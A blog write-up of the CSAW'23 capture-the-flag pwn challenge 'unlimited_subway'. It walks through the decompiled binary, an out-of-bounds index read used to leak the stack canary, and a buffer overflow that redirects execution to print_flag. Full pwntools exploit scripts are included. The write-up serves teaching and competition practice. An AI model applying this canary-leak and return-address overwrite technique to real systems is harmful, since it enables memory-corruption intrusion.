Jax Dunfee


CSAW’23 Qualifiers - unlimited_subway Writeup
My write up for the pwn challenge unlimited_subway on CSAW’23 Qualifiers
September 17, 2023
ctf

At the onset of the CTF, we encountered some initial challenges due to GMU’s WiFi filters. These obstacles hindered our access to the remotes, ultimately affecting our performance in this CTF. Nevertheless, we managed to overcome these hurdles and successfully tackled several challenges, with one standout favorite being unlimited_subway created by 079.

Unlimited Subway

Description:

Imagine being able to ride the subway for free, forever.

We are given a binary called unlimited_subway . Running the binary gives us this:

➜  share ./unlimited_subway 
=====================================
=                                   =
=       Subway Account System       =
=                                   =
=====================================
[F]ill account info
[V]iew account info
[E]xit
> F
Data : hi
[F]ill account info
[V]iew account info
[E]xit
> V
Index : 100
Index 100 : 00
[F]ill account info
[V]iew account info
[E]xit
> E
Name Size : 1 
Name : 100
```bash
We can see that we have a menu with three options: [F]ill account info, [V]iew account info, and [E]xit. 

When we choose [F]ill account info, we are prompted for data. When we choose [V]iew account info, we are prompted for an index. When we choose [E]xit, we are prompted for a name size and then a name.

Lets run checksec:

```bash
➜  pwn checksec unlimited_subway 
[*] '/home/user/CTF/share/unlimited_subway'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We can see that the binary is a 32 bit binary with a stack canary and NX enabled. We’ll have to somehow leak the canary in order to not get an annoying error when we try to overflow the buffer.

Let’s start by looking at the code in Binja:

08049317  int32_t main(int32_t argc, char** argv, char** envp)

08049317  {
08049329      void* gsbase;
08049329      int32_t eax_1 = *(uint32_t*)((char*)gsbase + 0x14);
08049417      int16_t var_8a;
08049417      __builtin_memset(&var_8a, 0, 0x82);
08049420      int32_t var_94 = 0;
0804942a      size_t nbytes = 0;
08049434      init();
08049439      while (true)
08049439      {
08049439          print_menu();
08049449          read(0, &var_8a, 2);
0804945a          int32_t buf;
0804945a          if (var_8a == 'F')
08049458          {
08049461              printf("Data : ", argv);
08049474              read(0, &buf, 0x40);
08049469          }
08049487          else if (var_8a == 'V')
08049485          {
0804948e              printf("Index : ", argv);
080494a2              __isoc99_scanf(&data_804a0e9, &var_94);
080494b8              view_account(&buf, var_94);
080494aa          }
080494ce          else
080494ce          {
080494ce              if (var_8a == 'E')
080494cc              {
080494ce                  break;
080494ce              }
0804952b              puts("Invalid choice");
08049526          }
08049526      }
080494d5      printf("Name Size : ", argv);
080494e9      __isoc99_scanf(&data_804a0e9, &nbytes);
080494f6      printf("Name : ");
0804950b      int32_t inp1;
0804950b      read(0, &inp1, nbytes);
0804951b      *(uint32_t*)((char*)gsbase + 0x14);
08049522      if (eax_1 == *(uint32_t*)((char*)gsbase + 0x14))
0804951b      {
0804953e          return 0;
0804953e      }
08049538      __stack_chk_fail();
08049538      /* no return */
08049538  }

We can see that the program calls init() and then enters a while loop. In the while loop, the program calls print_menu() and then reads in two bytes. If the first byte is F, then the program calls printf("Data : ", argv) and then reads in 64 bytes. If the first byte is V, then the program calls printf("Index : ", argv) and then reads in 4 bytes. If the first byte is E, then the program breaks out of the while loop entering a menu that we’ll end up using later. Otherwise, the program prints Invalid choice.

After the while loop, the program calls printf("Name Size : ", argv) and then reads in 4 bytes. Then the program calls printf("Name : ") and then reads in the number of bytes that we just read in.

Let’s look at the init() function:

0804921d  {
0804922c      setvbuf(stdin, nullptr, 2, 0);
08049240      setvbuf(stdout, nullptr, 2, 0);
0804924f      signal(0xe, _alarm);
08049259      alarm(0x1e);
08049266      puts("================================…");
08049273      puts("=                               …");
08049280      puts("=       Subway Account System   …");
0804928d      puts("=                               …");
080492a4      return puts("================================…");
08049295  }

Nothing too interesting here. The program sets the stdin and stdout buffers, sets a signal handler for SIGALRM, and then calls alarm(0x1e) which sets an alarm for 30 seconds, when this alarm runs out of time we get kicked out of the program with > TIME OUT. After that, the program prints out the menu that we saw earlier.

The print_menu() function is also pretty simple and just prints out the menu that we saw earlier:

080492ca  int32_t print_menu()

080492ca  {
080492d2      puts("[F]ill account info");
080492df      puts("[V]iew account info");
080492ec      puts("[E]xit");
08049303      return printf(&data_804a0ca);
080492f4  }

The view_account() function, however, is a bit more interesting:

080492a5  int32_t view_account(void* arg1, int32_t arg2)

080492a5  {
080492c9      return printf("Index %d : %02x\n", arg2, ((uint32_t)*(uint8_t*)((char*)arg1 + arg2)));
080492ae  }

We can see that the function prints out the value at the index that we passed in. However, there is a vulnerability here, by going negative we can start reading from the stack using negative indexing. Or by going going high enough we can get the canary from the current stack frame.

Let’s look at the menu that we get when we choose E:

080494d5      printf("Name Size : ", argv);
080494e9      __isoc99_scanf(&data_804a0e9, &nbytes);
080494f6      printf("Name : ");
0804950b      int32_t inp1;
0804950b      read(0, &inp1, nbytes);
0804951b      *(uint32_t*)((char*)gsbase + 0x14);
08049522      if (eax_1 == *(uint32_t*)((char*)gsbase + 0x14))
0804951b      {
0804953e          return 0;
0804953e      }
08049538      __stack_chk_fail();

We can see that the program calls printf("Name Size : ", argv) . Then the program calls printf("Name : ") and then reads in the number of bytes that we just read in. Then the program compares the canary that we leaked earlier to the current canary. If they are the same, then the program returns 0. Otherwise, the program calls __stack_chk_fail() which prints out *** stack smashing detected ***: terminated and then exits.

We can see that the program doesn’t check the size of the input that we give it, so we can overflow the buffer and overwrite the return address. However, we can’t just overwrite the return address with the address of print_flag() because of the stack canary. We’ll have to leak the canary and then overwrite the return address with the address of print_flag().

Let’s look at the print_flag() function:

08049304  int32_t print_flag()

08049304  {
08049316      return system("cat ./flag");
08049307  }

We can see that the function calls system("cat ./flag") which prints out the flag. Now let’s get pwning.

Exploitation

Let’s quickly review what we know:

  1. Negative Indexing: If arg2 is a negative integer, then (char*)arg1 + arg2 can result in accessing memory before the beginning of the arg1 buffer, potentially causing a segmentation fault or accessing unintended memory.
  2. Excessive Positive Indexing: If arg2 is too large (greater than or equal to the size of the memory region pointed to by arg1), it could lead to reading past the end of the buffer, resulting in undefined behavior or memory corruption.
  3. Stack Canary Leak: Using the information from the previous two points, we can leak the stack canary by using negative/positive indexing to read from the stack.
  4. Buffer Overflow: We can overflow the buffer place, place the stack canary and overwrite the return address with the address of print_flag().

Let’s start by leaking the stack canary. We can do this by using negative indexing to read from the stack. We can use the view_account() function to do this.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./unlimited_subway_patched", checksec=True)

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("pwn.csaw.io", 7900)

    return r

def main():
    r = conn()

    canary = ""
    for i in range(1, 5):
        r.sendline("V")
        r.recvuntil("Index : ")
        r.sendline(str(-i))
        result = r.recvline().strip().decode()
        bits = result.split(": ")[1]
        canary += bits
        if i < 4:
            r.recvuntil("> ")

    full_canary = "0x" + canary[:8]  # Initial 8 bits
    print("Initial 8 bits:", full_canary)

    # Continue with more potential canaries from -5 to -200
    num = 0
    for i in range(5, 201):
        r.sendline("V")
        r.recvuntil("Index : ")
        r.sendline(str(-i))
        result = r.recvline().strip().decode()
        bits = result.split(": ")[1]
        canary += bits

        if i % 4 == 0:
            full_canary = "0x" + canary[(i // 4 - 1) * 8:i // 4 * 8]  # get 4 sets of 2 bits
            num += 1
            print(f"[{num}] Potential Canary:", full_canary)

    r.close()

if __name__ == "__main__":
    main()

We can see that we use the view_account() function to read the canary 2 bits at a time. We can see that we get the first 8 bits of the canary and then we get 2 bits at a time until we get 200 bits. Which gives us 50 potential canaries.

But this is a really inefficient way of doing things, so what we can do is attach our process to gdb, use the canary command, and compare all of the canaries that we get to the canary that gdb gives us.

[*] '/home/user/CTF/CSAW23/share/unlimited_subway_patched'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[x] Starting local process '/home/user/CTF/CSAW23/share/unlimited_subway_patched'
[+] Starting local process '/home/user/CTF/CSAW23/share/unlimited_subway_patched': pid 7628
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/user/CTF/CSAW23/share/unlimited_subway_patched', '7628', '-x', '/tmp/pwnhflpbmvt.gdb']
[x] Waiting for debugger
[+] Waiting for debugger: Done
Initial 8 bits: 0x0a564b8c
[8]  0x00000000
[12]  0xfffffff4
[16]  0xff81d704
[20]  0xffffffec
[24]  0xff81d5c4
[28]  0x080494bd
[32]  0xff81d648
[36]  0xf7f23ba0
[40]  0x00000000
[44]  0x00000002
[48]  0xff81d5b0
[52]  0x0804a0e9
[56]  0xf7e28620
[60]  0xf7c512d9
[64]  0xff81d648
[68]  0xf7f23ba0
[72]  0x0804bf10
[76]  0xf7e27ff4
[80]  0xf7e27ff4
[84]  0xf7c5bccd
[88]  0x04775600
[92]  0x04775600
[96]  0x04775600
[100]  0xff81d5a0
[104]  0xf7e27ff4
[108]  0x00000006
[112]  0xf7e26a40
[116]  0xf7c7eb8d
[120]  0x00000008
[124]  0x00000003
[128]  0x00000980
[132]  0x00000001
[136]  0xf7e28de7
[140]  0xf7e28da0
[144]  0xf7c7e043
[148]  0xf7e28da0
[152]  0x00000006
[156]  0xf7e28da0
[160]  0xf7c7db9f
[164]  0xff81d5a0
[168]  0xf7e27ff4
[172]  0x0000000a
[176]  0x00000001
[180]  0x0804a0c3
[184]  0x00000654
[188]  0x00000000
[192]  0x00000001
[196]  0xf7e28de7
[200]  0x00000654
[*] Stopped process '/home/user/CTF/CSAW23/share/unlimited_subway_patched' (pid 7628)

And GDB gave us: [+] The canary of process 7628 is at 0xff81d8ab, value is 0x4775600 [8:16 PM]

So we know it’s between -93 and 97.

    for i in range(93, 97):
        r.sendline("V")
        r.recvuntil("Index : ")
        r.sendline(str(-i))
        result = r.recvline().strip().decode()
        bits = result.split(": ")[1]
        canary += bits
The canary of process 7985 is at 0xffcc400b, value is 0x8c917300
canary:  0x8c917300

We got the canary.

Now we can overflow the buffer and overwrite the return address with the address of print_flag(). We can do this using the name size and name inputs.

In my initial approach to leaking the stack canary, I attempted to use negative indexing to read the canary values from the stack. However, we encountered a segmentation fault issue that hindered our progress. While the exact cause of the segmentation fault wasn’t immediately apparent, it was crucial to adapt our strategy to successfully retrieve the canary. To overcome this obstacle, I decided to switch to positive indexing, which allowed us to read the canary bits without encountering the segmentation fault. This shift in our approach underscored the significance of adaptability and flexibility within the realm of binary exploitation. It serves as a reminder that this field often presents unforeseen challenges, demanding quick and pragmatic adjustments to otherwise good tactics.

Now we must find the amount of padding we need. We just did this by sending in A’s and narrowed it down to 64.

To exploit the vulnerability, we construct the payload by sequentially combining elements: ‘garbage’ (typically lots of 'AAAA’s) to fill the buffer, the ‘canary’ to bypass buffer overflow protection, ‘AAAA’ to account for padding and the saved frame pointer, and finally, the address of our print_flag().

This image shows the stack layout:

Finally, we can write the exploit:

Solve Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("./unlimited_subway_patched")

context.binary = exe

# Define a function to establish a connection, either local or remote.
def conn():
    if args.LOCAL:
        r = process([exe.path])
        # If debugging is enabled, attach GDB to the local process.
        if args.DEBUG:
            gdb.attach(r)
    else:
        # Connect to a remote server.
        r = remote("pwn.csaw.io", 7900)

    # Return the connection object.
    return r

# Define the main function.
def main():
    # Establish the connection.
    r = conn()
    
    # Initialize the stack canary. 
    stack_canary = b"\x00"
    
    # Leak the stack canary.
    for i in range(3):
        r.sendline("V")
        input = 129 + i
        # Send the input to leak the stack canary.
        r.readuntil("Index :") 
        r.sendline(str(input))
        
        r.readuntil(" : ") # Skip the first line.
        # Read the leaked stack canary bits
        stack_canary += bytes([int(r.readline(), 16)])

    # Print the stack canary.
    print(":) Stack canary: ", stack_canary) 

    # Configure the input for exploitation.
    r.sendline("E")
    r.recvuntil("Name Size : ")
    r.sendline(str(1337))

    r.recvuntil('Name : ')
    
    # Set the target address for exploitation.
    addr = exe.symbols['print_flag']
    
    # Construct the payload with stack canary. padding and target address.
    payload = b'A' * 64 + stack_canary + b'AAAA' + p32(addr)
    
    # Send the payload and enter interactive mode.
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

We get the flag: csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}

Conclusion

This was a really fun challenge and I had a good time this weekend playing CSAW’23. I hope you enjoyed reading this write up and learned something new, I definitely enjoyed writing it.

Thanks for reading!